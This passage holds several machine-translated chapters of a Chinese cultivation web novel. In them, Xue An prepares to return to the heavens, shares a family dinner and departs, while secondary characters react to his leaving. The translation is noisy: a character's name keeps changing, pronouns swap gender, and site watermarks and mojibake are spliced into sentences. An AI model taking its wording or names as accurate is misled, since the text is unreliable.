    For example, at today''s dinner, although Yang Jian tried to talk to Xue An several times, he was interrupted by various things.


    now.


    The atmosphere in the room is very solemn.


    Yang Jian drank the tea slowly, but didn''t know what the tea was like, even if it was cold or hot, he didn''t even feel it.


    Xiaotian even wandered back and forth in the room, with a gloomy expression on his face, and worries written between his eyebrows and eyes.


    Upon seeing this, Jiutian Xuannv finally couldn''t help but said: "Okay, you will soon turn around, and I will faint if you turn again. Wouldn''t it be okay to sit down and calm down?"


    "Calm down..." Xiaotian gave a wry smile, "Master Xuan Nv, my wife and children are all in the heavens at this moment! How can you calm me down?"


    Since Xue An learned that when he left the heavens, the abandoned princess Jiang Xunnan of the Golden Dog tribe had given birth to a daughter for him, his heart has not been calm for a moment.


    The immense happiness of being a father at first smashed the psychological defenses of Shuotian. If it weren''t because of the critical situation in Tianwaitian, he would really wish to rush back to the heavens to see his daughter.


    But I never expected that before he left, he accidentally learned that a shocking event had happened in the heavens. Diminish


    At that time, Xiaotian''s first reaction was that it was broken, and his daughter was probably in danger.


    This idea should have put Xiaotian on the verge of running away.


    In fact, it was a miracle that he could be suppressed until now without breaking out.


    But Xiaotian felt that no matter how patiently he endured, he really was about to explode.


    "No, I''m going to find Mr. Xue, even if he can''t go back to the heavens for the time being because of something, I''ll go back first, I can''t bear it for a moment!" Roaring roared, then stepped out to go out.


    But at this moment, a soft sigh came from outside the house.


    "I can understand General Xutian''s mood. After all, it is about my family. I can''t bear it with any man, but I didn''t deliberately delay time!"


    Following the voice, Xue An walked into the room.


    As soon as he saw him, Xuantian couldn''t care about courtesy. He immediately strode forward and asked eagerly: "Mr. Xue, is there something wrong with the heavens?"


    Xue An nodded, "There is a little problem!"


    Roaring Tian''s eyes are as red as blood, "Then when shall we leave?"


    Xue An did not hesitate, "Actually, I just came here to inform you. What happened in the heavens this time is very strange, even if I have no clue for the time being, so I might have to take great risks when I go back this time. ,you��."


    Before Xue An finished speaking, Yang Jian and Jiu Tian Xuan Nu stood up together.


    Yang Jian said in a deep voice: "Needless to say, I am a man of the heavens, and I will be able to go through fire and water for my own home, let alone a mere risk."


    Although the Nine Heavens Profound Girl didn''t say a word, she showed her attitude with practical actions.


    As for Roaring Sky, now he almost gave an order and then hurried back, so naturally there is no need to say anything else.


    So Xue An nodded and said with a solemn expression: "In that case, I will tell you about the situation of the heavens first, and then be prepared, we will leave soon!"


    "good!"


    After a quarter of an hour, the complexions of the three of them all changed.


    "To obliterate all traces of a person, this means..." Yang Jian''s face was solemn.


    The Nine Heavens Profound Girl also has a solemn expression, "Don''t even talk about the saints, even if I know it is impossible for the Taishang to do this, even the Taishang Jinxian who founded Confucianism and Taoism may not be able to catch it."


    "Is it so strong? Then how should we face it? You must know that this time we have paid a tragic price to deal with Donghuang Taiyi Mr. Xue!" Kuotian said almost desperately.


    Xue An did not hide his situation from these three people, because they can be said to be the most trustworthy people.


    If they couldn''t even trust them, there would be no one to trust in this world.


    So Xiaotian knows what means Xue An defeated the Eastern Emperor Taiyi in the battlefield.


    Because of this, he felt deep despair.


    But at this moment, Xue An shook his head slightly, "Actually I don''t think the situation will be that bad!"


    "What do you say?" The three of them were shocked and asked together.


    "It''s true that this method is really good enough to go against the sky, but I think the person who does it is definitely not that powerful, and the reason is very powerful. If this existence can really change the cause and effect arbitrarily, why not do it before?"


    "Emperor Taiyi was very much a mouse when he was fighting against me. He seemed to be afraid of some existence behind me, but I knew that I didn''t have any backstage. The only thing that could be explained was the Chinese!"


    "Chinese?" The three of them were taken aback, and then the Nine Heavens Profound Girl said first.


    "You mean the light that saved the Chinese gods back then?"


    "Yes, regardless of what this light is, at least it means that there must be some kind of existence behind the Chinese people who have been silently paying attention."


    "This is exactly the reason why the Eastern Emperor is so jealous of me, and it is also the way to break the crisis of the heavens!"


    "How to break the game? What method to break the game?" Xiaotian couldn''t help asking.


    Xue An shook his head, "To be honest, I don''t know now, it''s just a faint feeling! Everything has to wait to go back to the heavens and investigate the detailed situation before making a decision!"


    But anyway, the three of them heard a glimmer of hope from Xue An''s words, so they nodded one after another, and then turned around and went back to start their own preparations. U U Reading


    After they left, Xue An''s eyes gradually became sharp.


    Those words were half-truth and half-truth, he really felt that there must be big men behind the Chinese people who are paying attention.


    The fake one is his so-called breaking method.


    A joke, he doesn''t even know what the game is now, how can he talk about breaking the game!


    The reason for saying this is just to stabilize the emotions of the three.


    At this moment, Xue An felt the breath in the center of his eyebrows, he was taken aback for a moment, and then he sank his mind into the center of his eyebrows to check. Sacrifice like kanzaongyi.cc sacrifice like


    really.


    In the most core position of the sea of ??eyebrows, An Yan''s body surrounded by countless radiances suddenly had a hint of agility.


    Are you finally awake?


    A smile appeared on Xue An''s face. This should be the best news in recent times.


    In fact, according to normal circumstances, An Yan would not be able to wake up so quickly.


    But in order for An Yan to recover as soon as possible, Xue An simply incorporated his most essential spiritual thoughts into it to help her repair her body.


    But the cost of doing so is also very high, especially for Xue An, who went around without a moment of recuperation after a great war, it was a very huge loss.


    But everything is worth it.


    The glitz retreated, An Yan''s eyelashes trembled, and then slowly opened her eyes. Mi He Mi


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2587： 1 reunion

    It was Xue An with a concerned face that first appeared in An Yan''s eyes.


    For a moment, An Yan was in a trance, but soon she woke up, and then asked with some doubts.


    "husband?"


    The tone is rather uncertain.


    Xue An''s heart suddenly tightened.


    what happened?


    Could it be that Yan''er has amnesia?


    Just as Xue An was nervous, he saw An Yan looking around, and then said with a puzzled face.


    "Hey, what about that monster? Why is it gone?"


    "What big monster?"


    "It''s the Eastern Emperor Taiyi, isn''t this on the battlefield?" An Yan asked with a strange expression.


    "That big monster has been defeated by your husband and I!"


    "What? How could it be so fast? Didn''t I just close my eyes?" An Yan asked with a look of surprise.


    Decrease B*xwx.��co��. It wasn''t until then that Xue An understood that the coma was like a sleep to An Yan, and he didn''t even notice the passage of time.


    So for her, she just closed her eyes, how did the battle end?


    This lack of time made Xue An think of something inexplicably, but this feeling was fleeting, and when he wanted to grasp it again, he couldn''t find it anyway.


    "What''s wrong with you husband?" Seeing Xue An frowned slightly, An Yan couldn''t help asking.


    "Oh, nothing, just suddenly remembered something."


    Xue An smiled faintly, Xuan even buried this question deep in his heart, and then stretched out his hand to embrace An Yan''s waistline.


    "Let''s go, we will go back to Fubao Xiaolou. I miss you but are waiting for you."


    "Um!"


    The two then floated from the depths of the sea of ??consciousness, and then came to the small building of Fubao.


    As soon as I saw my mother return safely, Miss Miss immediately rushed over excitedly.


    "Mom, you finally wake up!"


    Looking at the two lovely daughters, An Yan was naturally full of joy, and then squatted down and hugged them in her arms.


    "Well, mom woke up, are you two behaved during this time?"


    "Hey, we are good, and we are studying hard every day according to the plan you left." Niannian said first.


    Think about it and nod his head vigorously.


    An Yan looked at the obvious cream stains on the corners of their mouths, she couldn''t help being a little funny, but she didn''t expose them, just smiled and said.


    "Okay, just be obedient. Mom will make you some good food later!"


    "Yeah, thank you mom!"


    The two little girls cheered, and Xue An on the side was naturally smiling.


    He didn''t tell An Yan what had happened to the heavens, so it didn''t do anything except increase her troubles.


    It''s better to keep the secret from them temporarily so that their mother and daughter can spend a period of time happily.


    Therefore, Xue An simply rolled up his sleeves and said with a smile: "In this case, let me also show you the cooking skills today."


    In terms of cooking, An Yan is far behind Xue An, so after hearing what Xue An said, Missing Nian became more and more excited.


    And that''s when it''s fun and warm in the Fubao Xiaolou.


    Shen Hongyi looked at the lost and recovered Tianqing in front of him, with a look of consternation on his face.


    "Isn''t this my catching the sky?"


    "Yeah, this is how you catch the sky!" Shen Muyu said softly.


    "But it was lost in the original war, how did you get it?"


    As soon as the words were spoken, Shen Hongyi suddenly thought of something, and said in disbelief: "Xue An gave it to you?"


    Shen Muyu nodded.


    These Shen Hongyi are even more confused.


    She and Xue An had a battle against each other, and Xue An and the Shen family had no good feelings. Why did they suddenly return this long sword to himself?


    She hesitated to reach out to pick up this long sword, but at the moment she started, her complexion changed drastically.


    Because she felt that a vigorous sword intent was rising in the clear sky, and followed the sword into the palm of her hand.


    Shen Hongyi only felt that his sword heart was violently shaking, and there was a faint meaning of surrender, which showed the power of this sword intent.


    "This...what''s going on?" Shen Hongyi asked in astonishment.


    Shen Muyu sighed lightly, "Your Lian Tianqing was extremely damaged at the time, so Xue An gave it a sword intent and restored it as before, and the remaining sword intent is a bit of what he gave you. help."


    "A little help?" Shen Hongyi looked down at the sword-holding hand that was numbly shaken, and suddenly didn''t know what to say.


    How arrogant I was at the beginning, I thought I was a peerless genius in the Shen family second only to the second son, Shen Muyu, but I did not expect to be repeatedly defeated by Xue An.


    Especially in that battle, Xue An''s awe-inspiring might and an outrageous level of sword intent, regardless of life and death, made Shen Hongyi a bit at a loss, and as a result, he was beaten abruptly to rebirth the soul of the sword.


    Sacrifice such as 9bzw.com sacrifice such as. Logically speaking, she should hate Xue An deeply.


    At the beginning, she did think so, and even prayed that Xue An would not be defeated by Shen Muyu, so that she could have a chance for revenge.


    But when she really saw Xue An''s amazing strength, this hatred slowly disappeared.


    Especially when Xue An used his own power to destroy the Eastern Emperor Taiyi and rescued hundreds of families, Shen Hongyi could no longer hold the slightest hatred for Xue An.


    And now when she held the sky in her hand and felt the powerful and surging sword intent, Shen Hongyi couldn''t help feeling a little at a loss, and the figure of the white-clothed boy appeared before her eyes.


    "Where is he now?" Shen Hongyi asked suddenly.


    "What do you want to do? The previous things have passed, and Xue An has also shown great kindness, so don''t worry about the past anymore." Shen Muyu said suddenly and very nervously.


    Shen Hongyi glanced at Shen Muyu with an angry look, "What do you think? With my current cultivation base, can I still find him to settle the account? Besides, am I the kind of person with a small belly? "


    Shen Muyu almost blurted out yes, but stopped abruptly when the words reached his lips.


    However, Shen Hongyi saw that Shen Muyu''s hesitation stopped, and his cheeks were slightly red.


    She was really stingy in the past, otherwise she would not force her to find Xue An''s troubles because of her brother Shen Gaoge''s affairs.


    But now she really doesn''t have that idea, she can''t help but sigh: "I really don''t have any other ideas, I just want to ask him to thank him!"


    Shen Muyu shook his head, "I don''t know where he''s gone, and I think you''d better not get out of touch. After all, in his opinion this may be just a trivial matter. If you really go with a big fanfare Thanks, but it will complicate things."


    Mi He Mi. Shen Hongyi was silent for a moment, and finally nodded, "Okay, so be it!"


    After that, she turned and left.


    Seeing her slightly lonely back, Shen Muyu sighed lightly, and then turned away.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2588： ready to go

    Although with Xue An''s current strength, the food can be cooked thoroughly in a few seconds.


    But Xue An still likes to use ordinary flames to roast and cook, because only in this way can there be smoke in the air.


    After all, many times when eating is not only the taste, the smoke is also very important.


    If people don''t have it, they will be much more boring after all.


    This is the reason why Xue An, even if he proves to the Taoist Immortal Venerable, and even the saint, has long been out of the scope of diet, and can survive purely on spiritual energy, but still needs to eat.


    Because people are human after all, even if you become a saint, you are also human.


    If even this appetite is gone, that person will quickly alienate and become an unknowable existence.


    So at this moment, accompanied by the sound of hot oil, Xue An skillfully cooked the dishes, turning a spoon from time to time, making the two little girls who were watching the excitement cheer.


    Soon, the rich fragrance escaped.


    "Wow, it''s so fragrant, Dad, what are you cooking? Why is it so fragrant?" I sniffed hard, and my greedy saliva almost came out.


    Xue An laughed, "Daddy''s cooking now is a very novel dish named Leizui Zhijinao."


    "Lei Sui Zhi Jinao?" Thinking about repeating this slurred name, it was a little unclear.


    On the contrary, An Yan, who was on the sidelines, said strangely: "We didn''t have these ingredients before here, right!"


    "Of course not, this is all collected by me later!"


    In recent years, Xue An''s small treasury has grown along with Xue An''s tossing around.


    Except for some small surprises of local specialties, the most are all kinds of weird ingredients.


    For example, this thunder marrow is a special product of Jidu Star Territory, but it is a rare treasure from the boundless sea of ??thunder.


    It is difficult for most people to think about it, but Xue An is so extravagant to use it for cooking.


    That Jin Ao is not a mundane thing. In short, Xue An took pains to search for ingredients from all over the world, in order to let his wife and children try new things.


    No way, who made Xue An a warm man who spoiled his wife and children by nature.


    Soon, a large table of delicious dishes was ready.


    When it was set up, the scent curled up and reflected in the air, forming scenes of condensed virtual images.


    This is because these ingredients themselves contain powerful auras of heaven and earth, and they are inspired by Xue An''s superb cooking skills, so this extraordinary sight is formed.


    The two daughters were already ready to move, but their good education made them restrain their impulse, just drooling at the dishes on this big table.


    Even Anyan, after smelling the rich fragrance, he doesn''t stop moving his index fingers.


    Xue An couldn''t help smiling when he saw this, then clapped his hands lightly.


    "Don''t talk nonsense, start!"


    As soon as the voice fell, the two little girls forced their chopsticks to eat wildly.


    Every time they take a bite, they will let out a sigh of satisfaction.


    Even Anyan was very satisfied with the dishes.


    Xue An looked at it with a smile, this feeling was even sweeter than eating it by himself.


    After a while, An Yan looked up strangely, "Husband, why don''t you eat it?"


    Xue An smiled, "Is it delicious?"


    The mother and daughter nodded together.


    Even though their mouths were almost full, the two little girls still mumbled vaguely: "It''s so delicious."


    "If it tastes delicious, eat more, I''m not very hungry!"


    With that, Xue An took out a bottle of wine and said to An Yan: "Come on, Yan''er, have two drinks with me."


    An Yan usually doesn''t drink any wine, even red wine.


    But today, facing Xue An''s invitation, An Yan did not hesitate, and directly nodded in response.


    ���]��. "good!"


    Open the bottle cap, a peculiar scent comes out of the nose. After pouring into the glass, the color is almost amber and slightly viscous. It is a rare aged wine.


    Xue An raised his cup and smiled at An Yan, "Come on, let''s have a drink with the husband and wife."


    An Yan nodded, then drank the wine in one cup.


    The mellow and spicy liquid slid down the throat and into the stomach, making Anyan, who had never touched wine, instantly become a little smokey.


    "How about it?"


    "It''s a bit spicy, but it''s delicious. Husband, what kind of wine is this?"


    "I found this in the den in the strong wind village. Even they don''t know the name of this wine. They must have snatched it."


    The two drank while chatting, but for a moment, it was a few more glasses of wine.


    An Yan''s face became more and more rosy, her eyes drunk and confused, she suddenly sighed.


    "It''s a pity that Xiaosha and Zhang Xiaoyu are not around today. If they were, how lively it would be!"


    When these words were spoken, even the two little girls who were devouring them were a little silent.


    You know that they have a very close relationship with Xiaosha and Zhang Xiaoyu. After being out for so long this time, the two of them naturally miss their friends very much.


    Now when they heard their mother mention them, these two little girls couldn''t help feeling sad.


    An Yan was also surprised that she had said the wrong thing, and she couldn''t help but regret it a little.


    But at this moment, Xue An chuckled lightly, "It''s a little deserted, so let''s go, I''ll call a few people in!"


    After all, Xue An didn''t wait for the mother and daughter to react, and turned around and walked out of Fu Bao Xiaolou.


    After a while, the sleepy-eyed Fox Ye, Yang Jian Xiaotian who was just about to rest, and Ao Shu and others all appeared in the Fubao Xiaolou.


    Fortunately, others said that when they saw Fox Night, the two little girls couldn''t help cheering.


    "Wow It''s Uncle Fox Night!"


    "Uncle Fox Ye, when did you come here?"


    As soon as he saw these two lovely little nieces, the sleepy-eyed Fox Ye instantly woke up, and then said with a smile.


    "I only got here these two days, do you miss me, Uncle!"


    "Of course, Uncle Fox Ye, did you see Xiaosha and Zhang Xiaoyu when you came out of home? How are they now?"


    Sacrifice such as yunxuange.org sacrifice such as. Hu Ye was stunned at the time and turned to look at Xue An.


    Xue An didn''t change his expression, and Hu Ye understood in an instant, and then he said haha.


    "Oh, you said Xiaosha and Zhang Xiaoyu, they are doing well, and they asked me to say hello to you when they came!"


    "Really, that''s great! I miss them so much, I really want to see them now." The two little girls said sadly.


    Jiu Tian Xuan Nu sighed in her heart, and then stepped forward to talk with the two little girls.


    Mi He Mi. Huye, Yang Jian and others accompany Xue An to drink together.


    Although it is still not as lively as Xiaosha and Zhang Xiaoyu were there, it is not so deserted after all.


    The wine remained drunk until the crowd was drunk again, and after everyone fell asleep.


    An Yan, who was originally drunk, looked at Xue An with piercing eyes, "Husband, is there something wrong with the heavens?"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2589： Leave the sky

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Xue An smiled bitterly, "I knew I couldn''t hide it from you. That''s right, there is indeed something wrong with the heavens now."


    "Under what circumstances can Fox Ye run so far to come to you? And when he was talking about Xiaosha and Octopus just now, his expression was very unnatural, so what happened to the heavens?"


    Xue An was silent for a moment, and finally let out a long sigh, and then told the story again.


    After listening, An Yan''s expression was as solemn as iron, speechless for a long time.


    "Actually, you don''t have to worry too much. These things are all told by Huye. You also know the temper of the guy from Huye. He always likes to exaggerate, so I think..." Xue Anzheng wanted to say some words of comfort to make An Yan. Not so worried.


    But before he could finish speaking, An Yan interrupted him directly.


    "Hurry up!"


    "Huh?" Xue An was taken aback.


    At the same time, An Yan stood up and said with a serious expression.


    "The heavens suffered such a big change, but we didn''t realize it. Obviously, the situation has reached a very dangerous point. What''s more, Xuan''er and Mengxue have disappeared. How can we miss the opportunity in such a crisis, so we should hurry. Go back to the heavens."


    Hearing An Yan''s extremely determined tone, Xue An couldn''t help but gradually raised the corners of his mouth, then nodded heavily.


    "Okay! If that''s the case, then we will leave now!"


    After saying that, Xue An didn''t delay even a moment, and directly awakened the people sleeping in the small building.


    After hearing that Xue An was about to leave immediately, everyone''s drunkenness disappeared instantly.


    "Okay, it just so happens that we have made all the preparations, and it''s okay to leave now," Yang Jian said immediately.


    As for the sky, although his people are here, his heart has already flown back to the heavens, so naturally there is no objection.


    The group made some preparations, and then Xue An activated the Fubao Xiaolou and awakened it from the sea of ??knowledge.


    The road to return to the heavens is long. If only Xue An is alone, it would be nice to say, but the problem is that there are other people following, so it is the best choice to hurry through this Fubao Xiaolou.


    What''s more, after countless evolutions, this Fubao Xiaolou has long ceased to be the humble treasure building at the beginning, but has transformed into an omnipotent treasure for defense, driving on the road, and even fighting and killing the enemy.


    And once he hurried up, his speed was only slightly inferior to Xue An. You must know that this was already an extremely shocking speed, at least Yang Jian and others were out of reach.


    Soon, everyone made preparations, and then Xue An instilled in the Fubao Xiaolou with the supreme cultivation.


    Hum!


    With a soft sound, the Fu Bao Xiaolou shook slightly, slowly floating into the air, and then shivering sharply, then it turned into a stream of light and flew straight to the sky.


    But as soon as this Fubao Xiaolou walked away from the front foot, a woman''s shout came from the back foot.


    "Xue An!"


    It''s a pity that when her voice came out, Xue An''s Fubao Xiaolou had broken into the void and jumped hundreds of thousands of miles away.


    Yue Qinghuan covered his mouth, looked at the passing flames of the sky in disbelief, and then tears burst into his eyes.


    "Why... why did you leave like this, don''t you think about me?"


    Yue Qinghuan whispered softly, and his heart was filled with infinite sadness.


    After drinking today''s celebration banquet, Yue Qinghuan returned to his room, but it was difficult to calm his excitement for a while.


    After tossing and turning, the shadow of Xue An lingered in his mind.


    Originally, Yue Qinghuan had deep roots in Xue An, and coupled with this battle, Xue An unexpectedly defeated the powerful enemy with his own force in order to save the people of the world.


    Such lofty ambitions completely convinced Yue Qinghuan, and made her sink into it, unable to extricate herself anymore.


    Thinking of the excitement, Yue Qinghuan felt hot on his cheeks and couldn''t help covering himself with a quilt.


    But after a while, she lifted the quilt abruptly, and then groaned helplessly.


    "It''s over, I''ve fallen completely. What can I do! I know that he already has a family, but I can''t control myself!"


    The more he thought about it, the more distressed, Yue Qinghuan didn''t sleep anymore, got up and closed his hair slightly, and then walked to the window.


    At this moment, the city lord''s mansion has been quiet, except for some who are really greedy for wine and are still having a small gathering, everyone else has already fallen asleep.


    The room that Yue Qinghuan lived in was a beautiful building where Lei Qiang, the daughter of a different Lei, once lived. Therefore, the location is excellent. Standing upstairs, you can have a panoramic view of the entire City Lord''s Mansion.


    At exactly this moment, Yue Qinghuan was very upset, so he opened the window and sat barefoot on the window sill.


    The cold wind outside the window was bitter, and it was mixed with a lot of chaotic auras, that was because the other two star regions of the Yin Yang family had collapsed, causing chaos in the auras.


    But Yue Qinghuan enjoyed this feeling very much, and her hot body gradually calmed down because of the coolness coming from her face.


    She put her feet out of the window and swayed slowly, but she was thinking about today''s things in her mind.


    She also knows that Fox Ye, knowing that it is Xue An''s good friend, but she doesn''t know why he came to Xue An over such a long distance.


    Could it be that something happened to the heavens?


    But the heavens are suppressed by rules, and existences beyond the Immortal Venerable level must endure tremendous pressure if they want to enter it.


    This is the law of heaven in that time and space, and it cannot be changed at all.


    So if a big boss like Donghuang Taiyi appeared in the heavens, Yue Qinghuan would never believe it.


    And if it were just some ordinary evil things, Huye wouldn''t have come to Xue An so far.


    After thinking for a long time and didn''t want to understand what was going on, Yue Qinghuan suddenly laughed at herself.


    Why don��t you just come to the door and ask what��s going on?


    Yes, exactly!


    It just happens that I can''t sleep, so it''s good to find Xue An for a tea and chat!


    Thinking of this, Yue Qinghuan jumped directly from the window sill, and then walked barefoot to the room where Xue An lived.


    At this moment, her dress was the same as when she went to the heavens for the first time, barefoot in plain clothes and long hair.


    And this state has rarely appeared since she returned to the military family.


    I wonder if that guy will recognize it after seeing it?


    Yue Qinghuan whispered in her heart, UU reading ''s heartbeat suddenly accelerated by half a beat.


    But just as she had just turned a veranda and saw that she was about to come to the courtyard where Xue An lived, an inexplicable heart palpitations suddenly surged.


    Yue Qinghuan suddenly raised his head, and at the same time, he walked through the courtyard gate and arrived in the small courtyard.


    But it was too late. The last scene she saw happened to be the final acceleration of the Fu Bao Xiaolou, so she screamed and tried to stop Xue An.


    But the miracle didn''t happen. At this moment, Fu Bao Xiaolou had already left, and even left the star field and flew into the vast space.


    Only Yue Qinghuan stood alone in the small courtyard, crying.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2589 Leaving Tianwaitian), and you can see it when you open the bookshelf next time!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2590： There is a ghost in my heart

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    There was footsteps behind him, but Yue Qinghuan didn''t even turn his head, just staring at the sky with dull eyes, while whispering softly in his mouth.


    "Why... Isn''t it worth saying goodbye to me?"


    Hearing these words, Yue Shifang, who rushed over afterward, trembled in his heart, and then couldn''t help but sigh.


    "Well, everyone has already left, now it''s useless to say anything."


    As soon as this sentence was uttered, the second girl who was following couldn''t help but stared at Yue Shifang fiercely, saying that something bad was going to happen.


    really.


    Seeing Yue Qinghuan slowly squatting down, then burying his head in his arms, he cried very aggrievedly.


    At this time, Yue Shifang was at a loss, the cold sweat on his forehead suddenly came off, and then he looked at the second girl with a plea for help.


    The second girl sighed helplessly, then squatted down and said softly, "It''s alright, no more crying. He''s just going back to the heavens, and it''s not that he won''t come back!"


    "But... but what if he doesn''t come back?" Yue Qinghuan choked up.


    "How could it happen? After he finishes working on the affairs of the heavens, he will naturally come back!" The second girl chuckled.


    At this time, Yue Qinghuan raised his head and looked at his brother Yue Shifang, "Have you known that he is going back to the heavens?"


    Yue Shifang nodded, "He did mention to me... at the time."


    The second girl was abruptly interrupted by the second girl before he finished speaking. The second girl secretly kicked Yue Shifang, and kept winking at him.


    No matter how stupid Yue Shifang was, he knew that he had said the wrong thing again, so he closed his mouth immediately.


    But it was too late. After hearing what Yue Shifang said, Yue Qinghuan couldn''t help crying even louder.


    "Why do you all know that you just didn''t tell me? Doesn''t he like me at all?"


    Yue Shifang only felt that his head was swelling, and Liushen had no master.


    What he fears most in his life is women crying, especially his sister crying.


    This feels terrible.


    The second girl seemed to have noticed his helplessness, and she couldn''t help but shook her head at him, and then pointed to the distance to signal him to stay away from this point, so as to save some troublesome talk at the critical moment.


    Yue Shifang, as if he was amnesty, immediately fled and ran away.


    After he left, the second girl said to Yue Qinghuan, who was crying bitterly: "Okay, don''t cry. In fact, I think this is not as bad as you think. On the contrary, it should be a good thing."


    "Good thing?" Yue Qinghuan raised his head, twitched his crying red nose, choked up: "What...what good thing?"


    The second girl smiled slightly, "Isn''t what you are struggling with is why everyone knows that Xue An is about to leave, but you don''t?"


    Yue Qinghuan nodded, his eyes dimmed and said: "Yes, why didn''t he even say goodbye to me? Am I such an insignificant person in his eyes?"


    "You are wrong, it just proves that you are important."


    "Why?" Yue Qinghuan became more confused.


    "It''s very simple, first think about how you get along with him?"


    Yue Qinghuan tilted his head and thought for a long time, and finally said: "Very harmonious!"


    "Have there ever been conflicts?"


    "No!"


    "Or, since there is not even the slightest contradiction between the two of you, why did he leave without saying goodbye? This only shows that there is a ghost in his heart!"


    Yue Qinghuan''s lavender jewel-like eyes gradually widened, and muttered, "Is there a ghost in my heart?"


    "Yes, if it is a normal friend, he will never even say goodbye, so there is only one explanation for your situation now, that is, he dare not see you!"


    "He is afraid that he can''t control his feelings. After all, he also has a family, so he can only choose not to see you!"


    "Now...you get the idea!"


    After speaking, the second girl looked at Yue Qinghuan with piercing eyes.


    And after listening to this rigorous reasoning, Yue Qinghuan''s eyes gradually lit up.


    "Yeah! If he doesn''t have any ghosts in his heart, why wouldn''t he dare to see me?"


    While speaking, Yue Qinghuan shed tears again, but this time he cried with joy.


    Then she looked at the second girl very sincerely.


    "Sister-in-law, thank you, I understand now!"


    "Just understand!" The second girl smiled


    But before she could say anything, Yue Qinghuan suddenly stood up, wiped away the tears from the corner of his eyes, and took a deep look at the distant sky.


    "Okay, sister-in-law, it''s getting late, I''m going back to sleep!"


    After all, she strode away.


    Seeing her leaving behind, the second girl secretly let out a sigh of relief.


    In any case, this one is finally fooled.


    At the same time, Yue Shifang stepped forward and said in a very surprised tone.


    "Are all the things you said just now true?"


    "what?"


    "It''s just that you said Xue An was afraid to see Qing Huan''s words because there was a ghost in his heart!"


    But she didn''t expect the second girl to shrug her shoulders, "I don''t know if it''s true, it''s just that Fuzhi''s mind suddenly thought of this at that time, so I just said it!"


    The boss of Yue Shifang''s mouth opened, he hesitated for a while before he said in astonishment: "So you are lying to her?"


    "It''s not a lie, it''s just to prevent her from being so desperate! After all, the easiest thing for a woman is to be confused by this illusory happiness."


    "And don''t you think this incident is really revealing a little bit weird?"


    After that, the second girl also turned and left, leaving only Yue Shifang standing there dumbfounded. After thinking for a long time, she whispered to herself.


    "Fuck, shouldn''t Xue Ann really have an idea for my sister, right?"


    At the same time, in the small building of Fubao that had already flown away from several star regions.


    An Yan suddenly thought of something and couldn''t help asking: "Husband, who knows what you are leaving?"


    "Yue Shifang, Shen Muyu and other people! What''s wrong?"


    An Yan sighed softly, "It''s nothing, it''s just Girl Qinghuan, didn''t you talk about it?"


    Xue Anyu wakes up from the dream and pats his forehead, "I wiped it, there were too many things at the time, I forgot it! Forget it, I''ll talk about it when I come back next time!"


    An Yan shook his head and chuckled, but UU read www.uuk��nshu.com but said nothing.


    This storm passed, and many people didn''t even know Xue An''s departure.


    But when Yue Qinghuan returned to Xiulou and Yue Shifang also returned to his residence, he was above the dark sky.


    Yang Qin, the descendant of the Yang Zhu School with an amber eye, couldn''t help but chuckle.


    "I have to say, this sister of your brother is really a passion!"


    The void next to it rippled, and then a cold voice came from it.


    "Don''t hit her idea, otherwise I don''t need Yue Shifang to take action, and I won''t let you go!"


    Yang Qin laughed, "Don''t worry, I, Yang Qin, have no interest in this kind of love-brained stupid woman."


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2590 There is a ghost in my heart), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2591： Uncle Tabby Cat

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    There was silence in the darkness, and then a figure gradually appeared, with white hair and red lips, and a beautiful face. It was Yue Guannan who had disappeared for a long time.


    It''s just that at this moment, her black hair has all turned white, and under the wind, it gives people an extraordinarily sad feeling.


    Seeing this scene, a meaningful smile appeared on the corner of Yang Qin''s mouth.


    "Seriously, I really don''t understand why you still protect Yue Qinghuan. After all, all the petting she enjoys now should be yours!"


    Yue Guannan stared deeply at the direction that Yue Shifang was going, his eyes mournful.


    She frowned slightly after hearing Yang Qin''s words, and then said coldly without looking back.


    "I advise you to put away all the tricks that provoke distractions for fear that the world will not be chaotic. I don''t want to follow your Yang Zhu school."


    Yang Qin laughed, then shrugged, "Whatever you think, I just kindly remind you, and can you really let it go?"


    Yue Guannan looked back suddenly and glanced at Yang Qun coldly.


    "Whether I can let it go seems to have nothing to do with you, and I and you are just a cooperative relationship based on interests, so I hope you can correct your attitude."


    Faced with Yue Guannan''s threat, this Yang Qun smiled freely.


    "Why reject people so far away? Anyway, you and the one you love are destined not to be together, so it''s not a bad idea to consider me..."


    Before he could say the last word, he was interrupted by a silver needle that suddenly appeared on the neck and throat.


    Yue Guannan said with awe-inspiring murderous intent: "If you dare to say one more word, your life will no longer belong to you!"


    Even in the face of the threat of death, Yang Qin remained unafraid.


    As the direct descendant of the Yang Zhu School, he may also be the only descendant. This kind of undaunted character has long been written into his blood.


    I saw Yang Qun licked his lips, and there was a strange flame rising from the amber monocular.


    "You are angry, is it because what I said hits your weakness?"


    puff!


    With a soft sound, the silver needle pierced off without hesitation.


    Yang Qin didn''t even hide, but stared at Yue Guannan coldly, while the silver needle pierced into his throat.


    The blood was dripping, but the crazy color on Yang Qin''s face became more intense.


    "gone!"


    The silver needle suddenly disappeared, and then Yue Guannan turned and left without hesitation.


    When she left, Yang Qin lightly dipped the blood flowing between her neck, stretched it to her mouth and licked it, then smiled grimly.


    "Interesting, the more you are like this, the more I am interested in you!"


    After all, Yang Qin also disappeared into the sky.


    When both of them disappeared, calm was restored in the sky.


    But after a while, there was another wave of ripples, and then a big tabby cat with a plump body, shiny fur and emerald eyes appeared in the field.


    It was the tabby cat that had suddenly disappeared for a long time.


    I saw it hovering two times in the sky, and then muttered to itself.


    "The master sent Master Cat to follow Miss No. 2 secretly and protect him, but I didn''t expect Miss No. 2 to get mixed up with the descendants of the Yang Zhu School. No, I must inform the master about this matter as soon as possible!"


    With that, it jumped up, then merged into the darkness and disappeared.


    After a while, Yue Shi, who was sitting still in his room, raised his head.


